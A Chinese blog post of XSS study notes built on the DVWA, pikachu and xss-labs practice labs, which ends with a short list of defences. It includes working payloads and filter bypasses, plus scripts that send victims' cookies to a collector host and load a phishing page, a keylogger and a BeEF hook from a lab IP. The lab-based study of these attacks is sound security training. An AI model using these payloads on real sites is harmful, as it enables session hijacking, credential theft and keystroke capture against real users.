首页 > 其他分享 >3-XSS渗透与防御

3-XSS渗透与防御

时间:2024-11-28 18:46:36浏览次数:5  
标签:XSS xss 渗透 alert -- cookie 防御 payload

1、HTTP协议回顾

XSS又名跨站脚本攻击

web页面登陆页面,往往有一个“记住密码”功能 ---> Cookie

1.1 HTTP流程



1.2 HTTP特点:

  • 请求应答模式
  • 灵活可拓展
  • 可靠传输
  • 无状态stateless -- 客户端每次请求都是完全独立的,没有任何联系

2、客户端的Cookie

显示:每个请求都是独立的
需求:保持会话
目的:为了解决stateless无状态的影响

1、第一次访问,浏览器会保存服务器下发的Cookie
2、客户端在本机将cookie保存到内存或磁盘下面
3、后面每次请求都带上cookie

2.1 cookie内容

key/value 格式,例如:

name = wuya
id = 99
islogin = 1

一般包含:内容value、起作用的路径、起作用的域名、到期时间
(需要计算过期时间的Cookie会保存在磁盘。没有过期时间的,属于临时cookie,则是保存在内存)

2.2 cookie特点

  • 明文
  • 可修改
  • 数量和大小受限(视浏览器而定)

Cookie的用途

  • 记住登陆状态
  • 跟踪用户行为(广告推送等等)

3、服务器的Session

转换思路:将一大串保存在服务端,且只通过COOKIE字段下发一个字段SESSID
减少浏览器客户端的负担,只需要看客户端的cookie中是否有已登录的SessionID

3.1 session流程

客户端 --> 第一次访问:开启会话,将登陆信息保存到session --> 服务端
客户端 <-- 如选择记住密码,则将sessionID写入cookie并下发 <-- 服务端
客户端 --> 第二次访问,从session中取出信息,判断登陆状态 --> 服务端

3.2 cookie和session的区别

4、JavaScript操作Cookie

想法:可不可以复制别的浏览器cookie中的sessionid?从而达到直接登录?
答案是可行的!

问题:如何远程获取到其他用户的cookie?

4.1 JavaScript语法

获取:document.coookie;
设置:document.cookie = "username=wuya";
修改:创建一个cookie覆盖
删除:将cookie过期时间,设置为如1999年

想法:将脚本注入到网页服务器中,并运行

5、脚本注入网页-XSS

前提:输入框存在提交,并且会解析运行JavaScript的脚本
POST请求如:<script>alert(1)</script>
GET 请求如:?url=javascript:alert(/wuya/)

5.1 XSS:Cross Site Script

恶意攻击者利用web页面的漏洞,插入一些恶意代码,当用户访问页面时,代码就会执行,这个时候就达到了攻击的目的。

JavaScript、Java、VBScript、ActiveX、Flash

反射型、存储型、DOM型(通过HTML的结构实现)

5.2 反射型XSS

5.3 存储型XSS

如注册、发评论等等

6、获取Cookie发送邮件实战

6.1 首先写一个mail.js文件

var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://localhost/xss/sendmail.php?mycookie=' + encodeURIComponent(document.cookie);

6.2 存储型注入

在注册时输入:<script = \'http://localhost/xss/mail.js'></script>

6.3 执行脚本

当有人点击或访问,就会执行mail.js,其中sendmail.php会将当前访问该路径的用户的cookie,通过参数?mycookie转发邮件到黑客的qq邮箱中

7、DVWA靶场XSS

默认账号:admin
默认密码:password

7.1 XSS(Reflected)

7.1.1 Security = Low

payload = <script>alert('xxx')</script>

7.1.2 Security = Medium

做了一个str_replace()将script过滤成' '空
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

绕过:大小写、双写
payload = <Script>alert('xxx')</script>
payload = <sc<script>ript>alert(123456)</script>

7.1.3 Security = High

运用了正则表达式
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

绕过:运用其他标签
payload = <删除img src=" " one rror="alert('XSS')">

7.1.4 Security = Impossible

运了htmlspecialchars()函数
将特殊字符转换为HTML实体符号,相当于被编码

7.2 XSS(Stored)

7.2.1 Security = Low

发现Name字段存在长度限制,但是Message字段没有
payload = <script>alert(123456)</script>
发现一旦刷新,每访问一次,就会攻击一次,出现弹窗

7.2.2 Security = Medium

可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤<script>字符串,仍然存在存储型的XSS。

绕过:抓包改name参数为<sc<script>ript>alert(/xss/)</script>
也可以审查元素,修改长度限制

7.2.3 Security = High

7.2.4 Security = Impossible

8、XSS后台平台搭建(pikachu靶场xss后台为例)

8.1 搭建

在本机搭建pikachu(修改inc配置文件)
在Win7虚拟机搭建pikachu XSS后台

相当于:用本机的XSS漏洞环境,将cookie传到虚拟机Win7的XSS后台数据库中

8.2 Payload

8.2.1 反射型xss(get):<script>alert("xu")</script>

在Win7的Cookie.php中修改重定向地址,让别人误以为只是刷新了一下
<script>document.location='http://虚拟机ip/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
http://192.168.125.131:8080/

8.2.2 反射型xss(post)

在修改Win7中post.html
攻击方式:将带毒的页面(Win7中的post.html)发给别人,一旦点击会访问有xss漏洞的本机地址,然后自动输入payload被拿cookie

最后访问带毒地址url:http://192.168.125.131:8080/pikachu/pkxss/xcookie/post.html

8.2.3 存储型xss(钓鱼xfish)

修改fish.php,弹出迷惑性的登陆界面
<script src="http://192.168.125.131:8080/pikachu/pkxss/xfish/fish.php"></script>

用法:将JS语句存储在留言板中,当有人访问留言板时候,就会弹窗输密码

8.2.4 存储型xss(获取键盘记录)

修改rk.js
<script src="http://192.168.125.131:8080/pikachu/pkxss/rkeypress/rk.js"></script>

用法:将JS语句存储在留言板中,当有人访问,可以看到其键盘输入

8.3 其他XSS平台

https://github.com/78778443/xssplatform
Kali:beef-xss(密码/etc/beef-xss/config.yaml)

在反射型XSS处,执行 <script src="http://Kali的ip:3000/hook.js"></script>
发现在beef上线,可以在command处对受害机器进行操作

9、XSS检查和利用

9.1 测试XSS的payload

9.1.1XSSER (https://github.com/epsylon/xsser)(https://xsser.03c8.net)

实例:
由于DVWA需要登录,所以需要给他一个cookei
xsser -u "http://ip地址/dvwa/vulnerabilities/" -g "/xss_r/?name=XSS" --cookie="security=low; PHPSESSID=do462brkn1gnerpusf1f5aqd30; BEEFHOOK=d83iUtVEPA40EzTeQuAGilAcNsvuKbYCssJDO2qhLkKyPNK37CIIV5NZpvaINYqVPT4erug7xcrfqPCh" -s -v --reverse-check

9.1.2 XSSSTRIKE(https://github.com/s0md3v/XSStrike)

任意切换python版本!

添加python可选项:
update-alternatives --install /usr/bin/python python /usr/bin/python2.7 2 # 添加Python2可选项,优先级为2,优先级高的数字大,此处设置python2优先级高于python3

然后输入update-alternatives --config python

删除python可选项
update-alternatives --remove python /usr/bin/python2.7

get类型命令:python xsstrike.py -u 'http://xxx/xxx.php?message=123&subbmit=submit'

post类型命令:python xsstrike.py -u "xxx/xx.php" --data 'name=1'

10、XSS防御方法

入口:
识别:正则,处理:替换
出口:
echo "",document.write();htmlspecialchars

WAF

11、xss-labs闯关游戏

思路:使用万能payload看看做了什么处理!再查看页面源码!
<sCr<scrscRiptipt>ipt>OonN&apos;\"<>
&apos是单引号

第一关

payload = ?name=<script>alert("xss")</script>

第二关

查看页面代码,发现没有任何过滤,且输入在value中需要闭合
payload = "> <script>alert("xss")</script>

第三关

过滤了尖括号,所以闭合+触发onmouseover,插入脚本当鼠标滑过输入框触发
payload = ' onm ouseover='alert(/xss/)

第四关

<script " ' Oonn>
发现过滤了尖括号
payload = " onm ouseover="alert(1)

第五关

过滤替换了script和on关键字,使用伪协议生成带alert的超链接
payload = "><a href = "javascript:alert(/xss/)">click</a>

第六关

过滤替换了script和on=以及href关键字,使用伪协议+大小写hERf绕过
payload = "><a hREf = "javascript:alert(/xss/)">click</a>

第七关

script标签被过滤,闭合+双写绕过
payload = "> <SCRscriptIPT>alert(1)</SCRscriptIPT>

第八关

提供了友情链接,使用伪协议javascript:alert(/xss/),发现script被替换
对内容进行一个Unicode编码

payload = java&#x73;cript:alert(/xss/)

第九关

你的链接不合法!
payload = javascript:alert('http://www.baidu.com')

第十关

GET类型请求,尖括号不行,但是发现三个隐藏的input标签,闭合触发事件
然后因为标签是hidden的,导致无法触发标签的事件监听,所以需要覆盖掉标签的hidden属性,或者使用//注释掉
payload = ?t_sort=click" type="button" onclick="alert(/xss/)
payload = ?t_sort=" onm ouseover="alert(1)" type=""//

第十一关

通过BP抓包,修改Referer值,发现会传递到代码中

payload = click" type="button" onclick="alert(1)

portswigger

<custom-tag onm ouseover='alert("xss")'>
"><body onresize=alert(1)>

标签:XSS,xss,渗透,alert,--,cookie,防御,payload
From: https://www.cnblogs.com/monster-hang/p/18574917

相关文章

  • 【建议收藏】渗透测试零基础入门教程,全程干货!
    转眼间,从大三开始学安全,到现在也有五年了,也算是对渗透测试有一定理解,公众号准备出一些入门教程,以实操为主,希望可以帮助到想入门渗透测试的小白。如果觉得有用,可以在文章后面支持一下我,作为我写下去的动力。1.什么是渗透测试渗透测试就是模拟真实黑客的攻击手法对目标网站或......
  • 【2024寒假全新】渗透测试工具大全(超详细),收藏这一篇就够了!
     黑客/网安大礼包:......
  • 【2024寒假全新】渗透测试工具大全(超详细),收藏这一篇就够了!
     黑客/网安大礼包:......
  • 前端如何防止XSS攻击?
    前端防止XSS攻击的核心思想是对用户输入的数据进行过滤和转义,防止恶意脚本被浏览器执行。以下是一些常用的前端防御措施:1.输入过滤:对输入内容进行白名单过滤:只允许用户输入预期的字符类型,例如数字、字母、特定的符号等。可以使用正则表达式或其他过滤函数来实现。......
  • SQL盲注攻击详解及防御措施
    文章目录基于布尔的盲注工作原理示例代码防御措施基于时间的盲注工作原理示例代码防御措施其他防御措施输入验证错误处理使用WAF(Web应用防火墙)基于布尔的盲注工作原理基于布尔的盲注通过构造SQL查询来判断数据库的响应是否满足某个条件。攻击者通过观察应用程......
  • 【Springboot知识】Springboot进阶-如何有效防止XSS攻击
    springboot项目如何防止XSS攻击一、输入验证和过滤二、输出编码三、使用安全框架四、使用模板引擎的自动转义功能五、设置安全HTTP头在SpringBoot项目中,防止XSS(跨站脚本攻击)攻击是确保应用安全性的重要一环。以下是一些避免XSS攻击的方式以及具体的实现代码:一、......
  • cisp证书含金量如何网络安全渗透测试工程师主要工作是什么?前景如何?
    sp,国家注册信息安全专业工作员,由中国信息安全测评中心认证,作为我国目前网络安全认证之一!cisp属于国家测评中心授予,目前遭到企业认可。CISP在大部分网络安全行业变成了应聘求职的必考的证书。在信息安全行业,有着CISP企业资质等级的比例是71.8%,是如今行业认同感最大企业资质......
  • 7. vulnhub渗透测试综合靶场DC-7
    目录信息收集渗透测试本次渗透测试学习收获信息收集arp-scan扫描主机arp-scan192.168.200.0/24nmap扫描nmap-sS192.168.200.152查看网站信息whatwebhttp://192.168.200.152利用网站分析插件看到CMS:Drupal8渗透测试目录爆破发现后台dirsearch-uhttp......
  • 随着人工智能(AI)、机器人、机械臂等技术的快速发展,简单、重复性工作的自动化替代趋势变
    随着人工智能(AI)、机器人、机械臂等技术的快速发展,简单、重复性工作的自动化替代趋势变得越来越明显。这种趋势不仅影响传统的工业领域,还渗透到服务业、办公领域等多个层面。下面我们可以从几个角度探讨这一现象的背景、影响以及未来的走向。1. 技术进步推动自动化近年来,AI、机......
  • 【开源系列】Faraday : 渗透测试 IDE 和漏洞管理平台
    什么是Faraday?Faraday是一个开源的漏洞管理平台,它旨在帮助安全团队有效地管理和协作处理漏洞。Faraday提供了一个集中的平台,用于收集、分析和报告漏洞信息。它支持多种集成,可以与各种安全工具和扫描器无缝对接,从而提高漏洞管理的效率和准确性。Faraday的功能特点多功能集......